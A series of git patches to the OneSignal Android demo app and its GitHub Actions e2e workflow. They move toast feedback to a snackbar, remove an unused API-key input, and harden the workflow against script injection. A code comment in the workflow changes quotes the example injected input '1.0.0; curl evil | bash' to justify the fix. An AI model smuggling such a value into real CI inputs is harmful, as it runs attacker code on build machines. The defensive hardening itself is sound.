viewModel.clearTriggers() }, - onInfoClick = { showTooltipDialog = "triggers" } - ) + TriggersSection( + triggers = triggers, + onAdd = { key, value -> viewModel.addTrigger(key, value) }, + onAddMultiple = { pairs -> viewModel.addTriggers(pairs) }, + onRemove = { viewModel.removeTrigger(it) }, + onRemoveSelected = { viewModel.removeSelectedTriggers(it) }, + onClearAll = { viewModel.clearTriggers() }, + onInfoClick = { showTooltipDialog = "triggers" } + ) - CustomEventsSection( - onTrackEvent = { name, properties -> viewModel.trackEvent(name, properties) }, - onInfoClick = { showTooltipDialog = "customEvents" } - ) + CustomEventsSection( + onTrackEvent = { name, properties -> viewModel.trackEvent(name, properties) }, + onInfoClick = { showTooltipDialog = "customEvents" } + ) - LocationSection( - locationShared = locationShared, - onLocationSharedChange = { viewModel.setLocationShared(it) }, - onCheckLocationShared = { viewModel.checkLocationShared() }, - onPromptLocation = { viewModel.promptLocation() }, - onInfoClick = { showTooltipDialog = "location" } - ) + LocationSection( + locationShared = locationShared, + onLocationSharedChange = { viewModel.setLocationShared(it) }, + onCheckLocationShared = { viewModel.checkLocationShared() }, + onPromptLocation = { viewModel.promptLocation() }, + onInfoClick = { showTooltipDialog = "location" } + ) - PrimaryButton( - text = "NEXT SCREEN", - onClick = { - context.startActivity(Intent(context, SecondaryActivity::class.java)) - }, - testTag = "next_screen_button" - ) + PrimaryButton( + text = "NEXT SCREEN", + onClick = { + context.startActivity(Intent(context, SecondaryActivity::class.java)) + }, + testTag = "next_screen_button" + ) - Spacer(modifier = Modifier.height(24.dp)) + Spacer(modifier = Modifier.height(24.dp)) + } } } diff --git a/examples/demo/app/src/main/java/com/onesignal/example/ui/main/MainViewModel.kt b/examples/demo/app/src/main/java/com/onesignal/example/ui/main/MainViewModel.kt index 17864ce6e7..d2284ea8d6 100644 --- a/examples/demo/app/src/main/java/com/onesignal/example/ui/main/MainViewModel.kt +++ b/examples/demo/app/src/main/java/com/onesignal/example/ui/main/MainViewModel.kt @@ -19,9 +19,6 @@ import com.onesignal.user.subscriptions.IPushSubscriptionObserver import com.onesignal.user.subscriptions.PushSubscriptionChangedState import kotlinx.coroutines.CancellationException import kotlinx.coroutines.Dispatchers -import kotlinx.coroutines.channels.Channel -import kotlinx.coroutines.flow.Flow -import kotlinx.coroutines.flow.receiveAsFlow import kotlinx.coroutines.launch import kotlinx.coroutines.withContext @@ -92,13 +89,6 @@ class MainViewModel(application: Application) : AndroidViewModel(application), I private val _useIdentityVerification = MutableLiveData() val useIdentityVerification: LiveData = _useIdentityVerification - // Toast messages. Channel (not LiveData) so identical messages emitted in - // quick succession aren't collapsed by structural equality, and so callers - // on any thread (e.g. IUserJwtInvalidatedListener fires on a background - // dispatcher) can post safely without a main-thread assertion. - private val _toastMessages = Channel(capacity = Channel.BUFFERED) - val toastMessages: Flow = _toastMessages.receiveAsFlow() - // Loading state private val _isLoading = MutableLiveData() val isLoading: LiveData = _isLoading @@ -558,21 +548,21 @@ class MainViewModel(application: Application) : AndroidViewModel(application), I fun sendOutcome(name: String) { viewModelScope.launch(Dispatchers.IO) { repository.sendOutcome(name) - withContext(Dispatchers.Main) { showToast("Outcome sent: $name") } + withContext(Dispatchers.Main) { Log.i(TAG, "Outcome sent: $name") } } } fun sendUniqueOutcome(name: String) { viewModelScope.launch(Dispatchers.IO) { repository.sendUniqueOutcome(name) - withContext(Dispatchers.Main) { showToast("Unique outcome sent: $name") } + withContext(Dispatchers.Main) { Log.i(TAG, "Unique outcome sent: $name") } } } fun sendOutcomeWithValue(name: String, value: Float) { viewModelScope.launch(Dispatchers.IO) { repository.sendOutcomeWithValue(name, value) - withContext(Dispatchers.Main) { showToast("Outcome sent: $name = $value") } + withContext(Dispatchers.Main) { Log.i(TAG, "Outcome sent: $name = $value") } } } @@ -580,7 +570,7 @@ class MainViewModel(application: Application) : AndroidViewModel(application), I fun trackEvent(name: String, properties: Map?) { viewModelScope.launch(Dispatchers.IO) { repository.trackEvent(name, properties) - withContext(Dispatchers.Main) { showToast("Event tracked: $name") } + withContext(Dispatchers.Main) { Log.i(TAG, "Event tracked: $name") } } } @@ -629,8 +619,10 @@ class MainViewModel(application: Application) : AndroidViewModel(application), I Log.i(TAG, if (shared) "Location sharing enabled" else "Location sharing disabled") } - fun checkLocationShared() { - showToast("Location shared: ${repository.isLocationShared()}") + fun checkLocationShared(): Boolean { + val shared = repository.isLocationShared() + Log.i(TAG, "Location shared: $shared") + return shared } fun promptLocation() { @@ -686,11 +678,6 @@ class MainViewModel(application: Application) : AndroidViewModel(application), I } } - private fun showToast(message: String) { - _toastMessages.trySend(message) - Log.i(TAG, message) - } - private fun logError(message: String) = Log.e(TAG, message) private fun logDebug(message: String) = Log.d(TAG, message) @@ -701,7 +688,6 @@ class MainViewModel(application: Application) : AndroidViewModel(application), I override fun onUserJwtInvalidated(event: UserJwtInvalidatedEvent) { Log.w(TAG, "JWT invalidated for externalId: ${event.externalId}") - showToast("JWT invalidated for: ${event.externalId}") } override fun onCleared() { diff --git a/examples/demo/app/src/main/java/com/onesignal/example/ui/main/Sections.kt b/examples/demo/app/src/main/java/com/onesignal/example/ui/main/Sections.kt index 27f99836c5..35fa716a00 100644 --- a/examples/demo/app/src/main/java/com/onesignal/example/ui/main/Sections.kt +++ b/examples/demo/app/src/main/java/com/onesignal/example/ui/main/Sections.kt @@ -37,6 +37,7 @@ import com.onesignal.example.ui.components.CollapsibleSingleList import com.onesignal.example.ui.components.CustomNotificationDialog import com.onesignal.example.ui.components.DemoSection import com.onesignal.example.ui.components.DestructiveButton +import com.onesignal.example.ui.components.LocalSnackbarController import com.onesignal.example.ui.components.LoginDialog import com.onesignal.example.ui.components.MultiPairInputDialog import com.onesignal.example.ui.components.MultiSelectRemoveDialog @@ -562,6 +563,7 @@ fun OutcomeSection( onInfoClick: () -> Unit, ) { var open by remember { mutableStateOf(false) } + val snackbar = LocalSnackbarController.current DemoSection { SectionCard( @@ -579,14 +581,17 @@ fun OutcomeSection( onDismiss = { open = false }, onSendNormal = { name -> onSendNormal(name) + snackbar.show("Outcome sent: $name") open = false }, onSendUnique = { name -> onSendUnique(name) + snackbar.show("Unique outcome sent: $name") open = false }, onSendWithValue = { name, value -> onSendWithValue(name, value) + snackbar.show("Outcome sent: $name = $value") open = false }, ) @@ -681,6 +686,7 @@ fun CustomEventsSection( onInfoClick: () -> Unit, ) { var open by remember { mutableStateOf(false) } + val snackbar = LocalSnackbarController.current DemoSection { SectionCard( @@ -698,6 +704,7 @@ fun CustomEventsSection( onDismiss = { open = false }, onConfirm = { name, properties -> onTrackEvent(name, properties) + snackbar.show("Event tracked: $name") open = false }, ) @@ -708,10 +715,12 @@ fun CustomEventsSection( fun LocationSection( locationShared: Boolean, onLocationSharedChange: (Boolean) -> Unit, - onCheckLocationShared: () -> Unit, + onCheckLocationShared: () -> Boolean, onPromptLocation: () -> Unit, onInfoClick: () -> Unit, ) { + val snackbar = LocalSnackbarController.current + DemoSection { SectionCard(title = "Location", sectionKey = "location", onInfoClick = onInfoClick) { ToggleRow( @@ -725,6 +734,13 @@ fun LocationSection( } Spacer(modifier = Modifier.height(DemoLayout.gap)) PrimaryButton(text = "PROMPT LOCATION", onClick = onPromptLocation, testTag = "prompt_location_button") - PrimaryButton(text = "CHECK LOCATION", onClick = onCheckLocationShared, testTag = "check_location_button") + PrimaryButton( + text = "CHECK LOCATION", + onClick = { + val shared = onCheckLocationShared() + snackbar.show("Location shared: $shared") + }, + testTag = "check_location_button", + ) } } From f90caad21ef2e3e399366aaa6abdd3fda6cdfaa8 Mon Sep 17 00:00:00 2001 From: Fadi George Date: Tue, 26 May 2026 09:17:24 -0700 Subject: [PATCH 4/9] ci(e2e): drop unused onesignal-api-key input Nothing in examples/demo/app/build.gradle.kts reads ONESIGNAL_API_KEY (only ONESIGNAL_APP_ID and ONESIGNAL_ANDROID_CHANNEL_ID go through demoOverride), and the shared appium-e2e workflow already obtains the key directly via secrets: inherit. Writing it to local.properties was dead plumbing that also forced every caller to supply an unused secret. Addresses PR #2652 review comment. Co-authored-by: Cursor --- .github/actions/setup-demo/action.yml | 5 ----- .github/workflows/e2e.yml | 1 - 2 files changed, 6 deletions(-) diff --git a/.github/actions/setup-demo/action.yml b/.github/actions/setup-demo/action.yml index 8f17082d9c..c99481f7a9 100644 --- a/.github/actions/setup-demo/action.yml +++ b/.github/actions/setup-demo/action.yml @@ -4,9 +4,6 @@ inputs: onesignal-app-id: description: 'OneSignal App ID written into examples/demo/local.properties' required: true - onesignal-api-key: - description: 'OneSignal REST API key written into examples/demo/local.properties' - required: true runs: using: 'composite' steps: @@ -44,10 +41,8 @@ runs: working-directory: examples/demo env: ONESIGNAL_APP_ID: ${{ inputs.onesignal-app-id }} - ONESIGNAL_API_KEY: ${{ inputs.onesignal-api-key }} run: | { echo "ONESIGNAL_APP_ID=${ONESIGNAL_APP_ID}" - echo "ONESIGNAL_API_KEY=${ONESIGNAL_API_KEY}" echo "ONESIGNAL_ANDROID_CHANNEL_ID=7ec2ece9-c538-4656-9516-1316f48a005c" } > local.properties diff --git a/.github/workflows/e2e.yml b/.github/workflows/e2e.yml index e1dbe58750..9c6d772573 100644 --- a/.github/workflows/e2e.yml +++ b/.github/workflows/e2e.yml @@ -29,7 +29,6 @@ jobs: uses: ./.github/actions/setup-demo with: onesignal-app-id: ${{ vars.APPIUM_ONESIGNAL_APP_ID }} - onesignal-api-key: ${{ secrets.APPIUM_ONESIGNAL_API_KEY }} - name: Resolve OneSignal Android SDK version id: android-sdk-version From f84477a54988f9285c24e6c80d43c16442c86572 Mon Sep 17 00:00:00 2001 From: Fadi George Date: Tue, 26 May 2026 15:51:32 -0700 Subject: [PATCH 5/9] docs(demo): clarify logging and silent action contract --- examples/build.md | 3 ++- .../main/java/com/onesignal/example/ui/main/Sections.kt | 8 -------- 2 files changed, 2 insertions(+), 9 deletions(-) diff --git a/examples/build.md b/examples/build.md index 525f439b54..5960ba410b 100644 --- a/examples/build.md +++ b/examples/build.md @@ -145,7 +145,8 @@ Inline only — no full-screen overlay. The four list sections (Aliases, Emails, - `SnackbarController` (`ui/components/SnackbarController.kt`) wraps Compose's `SnackbarHostState` and exposes a `show(message)` method with replace-on-show behavior. - `MainScreen` creates `val snackbarController = rememberSnackbarController(snackbarHostState)` and exposes it down the tree via `CompositionLocalProvider(LocalSnackbarController provides snackbarController) { ... }` wrapping the sections column. The host is mounted on `Scaffold(snackbarHost = { SnackbarHost(snackbarHostState) })`. The `Snackbar` applies `Modifier.testTag("snackbar_toast")` so the shared Appium suite finds it. -- Section composables read the controller with `val snackbar = LocalSnackbarController.current` and call `snackbar.show(...)` from action callbacks. Only Outcomes, Custom Events, and Location check trigger the snackbar; every other action writes to `android.util.Log.i(TAG, ...)`. +- Section composables read the controller with `val snackbar = LocalSnackbarController.current` and call `snackbar.show(...)` from action callbacks. Only Outcomes, Custom Events, and Location check trigger the snackbar. +- Most other actions write to `android.util.Log.i(TAG, ...)` in `MainViewModel` (add/remove aliases/tags/emails/SMS/triggers, toggles, send push/IAM, etc.). Login and logout are intentionally silent — no snackbar and no `Log.i`. The User section reflects auth state via `externalUserId` LiveData ("Logged In" / "Anonymous"), matching the other wrapper demos. - Replace-on-show: `show(...)` cancels any in-flight `showJob` and `dismissJob`, dismisses `hostState.currentSnackbarData`, then launches a new pair where the dismiss coroutine runs `delay(DemoLayout.toastDurationMs)` and the show coroutine calls `hostState.showSnackbar(message, duration = SnackbarDuration.Indefinite)`. - Duration is the shared constant `DemoLayout.toastDurationMs = 3_000L` (milliseconds). - `MainViewModel` must not hold any toast state, expose a `Channel`/`Flow` of toast messages, or own a `showToast` helper. There is no `android.widget.Toast` bridge in `MainActivity` either -- the snackbar host is the only feedback surface. diff --git a/examples/demo/app/src/main/java/com/onesignal/example/ui/main/Sections.kt b/examples/demo/app/src/main/java/com/onesignal/example/ui/main/Sections.kt index 35fa716a00..75024951c3 100644 --- a/examples/demo/app/src/main/java/com/onesignal/example/ui/main/Sections.kt +++ b/examples/demo/app/src/main/java/com/onesignal/example/ui/main/Sections.kt @@ -2,19 +2,12 @@ package com.onesignal.example.ui.main import androidx.compose.foundation.BorderStroke import androidx.compose.foundation.clickable -import androidx.compose.foundation.layout.Arrangement import androidx.compose.foundation.layout.Column import androidx.compose.foundation.layout.ColumnScope -import androidx.compose.foundation.layout.Row import androidx.compose.foundation.layout.Spacer import androidx.compose.foundation.layout.fillMaxWidth import androidx.compose.foundation.layout.height import androidx.compose.foundation.layout.padding -import androidx.compose.foundation.layout.size -import androidx.compose.foundation.layout.width -import androidx.compose.foundation.shape.RoundedCornerShape -import androidx.compose.material3.Button -import androidx.compose.material3.ButtonDefaults import androidx.compose.material3.Card import androidx.compose.material3.CardDefaults import androidx.compose.material3.HorizontalDivider @@ -25,7 +18,6 @@ import androidx.compose.runtime.getValue import androidx.compose.runtime.mutableStateOf import androidx.compose.runtime.remember import androidx.compose.runtime.setValue -import androidx.compose.ui.Alignment import androidx.compose.ui.Modifier import androidx.compose.ui.graphics.Color import androidx.compose.ui.platform.testTag From 6372a86fda5386e8dffa890f75b04454598b0854 Mon Sep 17 00:00:00 2001 From: Fadi George Date: Wed, 27 May 2026 09:41:28 -0700 Subject: [PATCH 6/9] ci(e2e): harden workflow against injection and silent misconfig Two defensive fixes for the E2E workflow: - Move the resolved SDK version into env: on the Build step and reference $SDK_VERSION inside the run block, instead of templating ${{ steps... }} directly into the shell. The version output is derived from the workflow_dispatch sdk-version input and is written verbatim to $GITHUB_OUTPUT, so direct interpolation would let an input like "1.0.0; curl evil | bash" be substituted into the script before bash parses it. https://docs.github.com/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions - Add a Validate APPIUM_ONESIGNAL_APP_ID step that fails fast when the org/repo variable is unset. An undefined vars.* expression evaluates to "" in Actions, and the composite action's required: true only validates that the with: key was supplied. Without this guard the demo's demoOverride() collapses the empty value to null and the build falls through to the hardcoded default app ID, exercising the wrong OneSignal project on BrowserStack with a green result. Addresses PR #2652 review comments. Co-authored-by: Cursor --- .github/workflows/e2e.yml | 27 ++++++++++++++++++++++++++- 1 file changed, 26 insertions(+), 1 deletion(-) diff --git a/.github/workflows/e2e.yml b/.github/workflows/e2e.yml index 9c6d772573..ab93351510 100644 --- a/.github/workflows/e2e.yml +++ b/.github/workflows/e2e.yml @@ -25,6 +25,23 @@ jobs: - name: Checkout uses: actions/checkout@v4 + # Fail fast when the org/repo variable is unset (forks, re-orgs, renames). + # An undefined `vars.*` expression evaluates to "" in GitHub Actions, and + # the composite action's `required: true` only validates that the `with:` + # key was supplied — not that the resolved value is non-empty. Without + # this guard the demo's `demoOverride()` silently collapses the empty + # value to null and the build falls through to the hardcoded default app + # ID, exercising the wrong OneSignal project on BrowserStack with a + # green CI result. + - name: Validate APPIUM_ONESIGNAL_APP_ID + env: + ONESIGNAL_APP_ID: ${{ vars.APPIUM_ONESIGNAL_APP_ID }} + run: | + if [ -z "$ONESIGNAL_APP_ID" ]; then + echo "::error::APPIUM_ONESIGNAL_APP_ID is not set" + exit 1 + fi + - name: Set up demo uses: ./.github/actions/setup-demo with: @@ -59,7 +76,15 @@ jobs: # UiAutomator2 driver can attach. The Maven-resolved OneSignal # dependency is pinned to the version we just waited for, so the # APK exercises the actual published artifact. - run: ./gradlew :app:assembleGmsDebug -PSDK_VERSION=${{ steps.android-sdk-version.outputs.version }} --console=plain --warning-mode=summary + # + # The resolved version flows through `env:` rather than direct + # `${{ }}` interpolation into the run block. Without this, a + # workflow_dispatch input like `1.0.0; curl evil | bash` would be + # template-substituted into the shell script before bash parsed it. + # https://docs.github.com/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections + env: + SDK_VERSION: ${{ steps.android-sdk-version.outputs.version }} + run: ./gradlew :app:assembleGmsDebug "-PSDK_VERSION=$SDK_VERSION" --console=plain --warning-mode=summary - name: Upload APK uses: actions/upload-artifact@v4 From c3c00b4f0871253b89c389fb07bdf6cc444bb1dc Mon Sep 17 00:00:00 2001 From: Fadi George Date: Wed, 27 May 2026 09:41:28 -0700 Subject: [PATCH 7/9] refactor(demo): drop orphaned imports in Sections.kt Remove imports left over after the IamActionButton removal and testTag-as-Modifier-extension cleanup. Every remaining testTag in the file is a named String parameter on PrimaryButton/SectionCard/ToggleRow etc., so the Modifier.testTag(...) import is unused. Same for the eight layout/material3 imports flagged earlier (already removed in this sweep). Kotlin only warns on unused imports, but cleaner to drop them. Addresses PR #2652 review comment. Co-authored-by: Cursor --- .github/workflows/e2e.yml | 25 +++++-------------- .../com/onesignal/example/ui/main/Sections.kt | 1 - 2 files changed, 6 insertions(+), 20 deletions(-) diff --git a/.github/workflows/e2e.yml b/.github/workflows/e2e.yml index ab93351510..c05cada927 100644 --- a/.github/workflows/e2e.yml +++ b/.github/workflows/e2e.yml @@ -25,14 +25,8 @@ jobs: - name: Checkout uses: actions/checkout@v4 - # Fail fast when the org/repo variable is unset (forks, re-orgs, renames). - # An undefined `vars.*` expression evaluates to "" in GitHub Actions, and - # the composite action's `required: true` only validates that the `with:` - # key was supplied — not that the resolved value is non-empty. Without - # this guard the demo's `demoOverride()` silently collapses the empty - # value to null and the build falls through to the hardcoded default app - # ID, exercising the wrong OneSignal project on BrowserStack with a - # green CI result. + # Fail fast on unset var. Otherwise `demoOverride()` collapses "" to + # null and the build silently uses the hardcoded default app ID. - name: Validate APPIUM_ONESIGNAL_APP_ID env: ONESIGNAL_APP_ID: ${{ vars.APPIUM_ONESIGNAL_APP_ID }} @@ -69,19 +63,12 @@ jobs: with: version: ${{ steps.android-sdk-version.outputs.version }} + # gms+debug: BrowserStack devices have GMS, debug enables UiAutomator2 + # attach. -PSDK_VERSION pins the Maven dep to the version we waited + # for. SDK_VERSION flows through env: to avoid script injection + # (workflow_dispatch input is user-controlled). - name: Build debug APK working-directory: examples/demo - # Build the gms-debug variant: BrowserStack devices all run Google - # Play Services, and debug ensures isDebuggable=true so Appium's - # UiAutomator2 driver can attach. The Maven-resolved OneSignal - # dependency is pinned to the version we just waited for, so the - # APK exercises the actual published artifact. - # - # The resolved version flows through `env:` rather than direct - # `${{ }}` interpolation into the run block. Without this, a - # workflow_dispatch input like `1.0.0; curl evil | bash` would be - # template-substituted into the shell script before bash parsed it. - # https://docs.github.com/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections env: SDK_VERSION: ${{ steps.android-sdk-version.outputs.version }} run: ./gradlew :app:assembleGmsDebug "-PSDK_VERSION=$SDK_VERSION" --console=plain --warning-mode=summary diff --git a/examples/demo/app/src/main/java/com/onesignal/example/ui/main/Sections.kt b/examples/demo/app/src/main/java/com/onesignal/example/ui/main/Sections.kt index 75024951c3..3673320125 100644 --- a/examples/demo/app/src/main/java/com/onesignal/example/ui/main/Sections.kt +++ b/examples/demo/app/src/main/java/com/onesignal/example/ui/main/Sections.kt @@ -20,7 +20,6 @@ import androidx.compose.runtime.remember import androidx.compose.runtime.setValue import androidx.compose.ui.Modifier import androidx.compose.ui.graphics.Color -import androidx.compose.ui.platform.testTag import androidx.compose.ui.text.font.FontWeight import androidx.compose.ui.unit.dp import com.onesignal.example.data.model.InAppMessageType From 443fed4f567c039ab5b832ccac190ebfab1ae602 Mon Sep 17 00:00:00 2001 From: Fadi George Date: Wed, 27 May 2026 10:13:16 -0700 Subject: [PATCH 8/9] docs(demo): fix two build.md drifts - IUserJwtInvalidatedListener uses Log.w (the right level for an invalidation warning), not Log.i. Update the doc to match MainViewModel.onUserJwtInvalidated. - The main_scroll_view tag is on a Column + verticalScroll, not a LazyColumn. Update the doc to match MainScreen.kt. Addresses PR #2652 review comment. Co-authored-by: Cursor --- examples/build.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/examples/build.md b/examples/build.md index 5960ba410b..2257ecafed 100644 --- a/examples/build.md +++ b/examples/build.md @@ -171,7 +171,7 @@ Patterns used by this demo beyond the shared guide's table: - `{sectionKey}_pair_key_{key}` and `{sectionKey}_pair_value_{key}` -- two-column rows expose both halves so Appium can assert key and value independently. - `{sectionKey}_value_{value}` -- list rows whose key is implicit (single-column lists). -- `main_scroll_view` -- the root `LazyColumn` in `MainScreen`, used by Appium swipe gestures. +- `main_scroll_view` -- the root scrollable `Column` (`verticalScroll(rememberScrollState())`) in `MainScreen`, used by Appium swipe gestures. #### Appium / UiAutomator: `testTagsAsResourceId` @@ -191,7 +191,7 @@ The Android demo exercises a few SDK features that are not described in the shar - **Identity Verification toggle** (`UserSection`, `testTag = "identity_verification_toggle"`) — persisted via `SharedPreferenceUtil.cacheIdentityVerification(...)`. When ON, `fetchUserDataFromApi` uses the cached external_id + JWT; when OFF it falls back to the onesignal_id endpoint. - **JWT field in `LoginDialog`** — optional `"JWT Token (optional)"` input under the external-user-id field. `testTag = "login_user_jwt_input"`. `MainViewModel.loginUser(externalUserId, jwtToken)` threads the token into `OneSignal.login(externalUserId, jwtToken)` and caches it via `SharedPreferenceUtil.cacheJwtToken(...)`. - **UPDATE USER JWT button** (`UserSection`, `testTag = "update_user_jwt_button"`) — opens a `PairInputDialog` (External User Id + JWT Token) and calls `viewModel.updateUserJwt(...)` → `OneSignal.updateUserJwt(...)`. -- **`IUserJwtInvalidatedListener`** — registered by `MainViewModel`; surfaces a log entry via `Log.i(TAG, ...)` when the SDK reports an invalidated JWT. Per Prompt 7.6 the snackbar is no longer fired from this listener. +- **`IUserJwtInvalidatedListener`** — registered by `MainViewModel`; surfaces a log entry via `Log.w(TAG, ...)` when the SDK reports an invalidated JWT. Per Prompt 7.6 the snackbar is no longer fired from this listener. --- From cb4e019f45eb2870d29f4c5d7823857e2004d217 Mon Sep 17 00:00:00 2001 From: Fadi George Date: Wed, 27 May 2026 10:13:17 -0700 Subject: [PATCH 9/9] ci(e2e): include gradle.properties in Gradle cache key The hashFiles glob '*.gradle*' requires a literal '.gradle' substring and so does not match 'gradle.properties' (which has 'gradle.' but not '.gradle'). Edits to examples/demo/gradle.properties therefore resolve to the same cache key as the prior contents. No build-correctness impact today since ~/.gradle/caches is content- addressed and the current properties only set JVM/AGP options, but adding a dependency-relevant property later would silently keep restoring a stale cache. List gradle.properties explicitly to track it. Addresses PR #2652 review comment. Co-authored-by: Cursor --- .github/actions/setup-demo/action.yml | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/.github/actions/setup-demo/action.yml b/.github/actions/setup-demo/action.yml index c99481f7a9..b076e5814d 100644 --- a/.github/actions/setup-demo/action.yml +++ b/.github/actions/setup-demo/action.yml @@ -25,7 +25,9 @@ runs: path: | ~/.gradle/caches ~/.gradle/wrapper - key: ${{ runner.os }}-gradle-demo-${{ hashFiles('examples/demo/**/*.gradle*', 'examples/demo/**/gradle-wrapper.properties') }} + # `*.gradle*` matches `build.gradle{,.kts}` etc. but NOT `gradle.properties` + # (no literal `.gradle` substring), so list `gradle.properties` explicitly. + key: ${{ runner.os }}-gradle-demo-${{ hashFiles('examples/demo/**/*.gradle*', 'examples/demo/**/gradle.properties', 'examples/demo/**/gradle-wrapper.properties') }} restore-keys: | ${{ runner.os }}-gradle-demo- ${{ runner.os }}-gradle-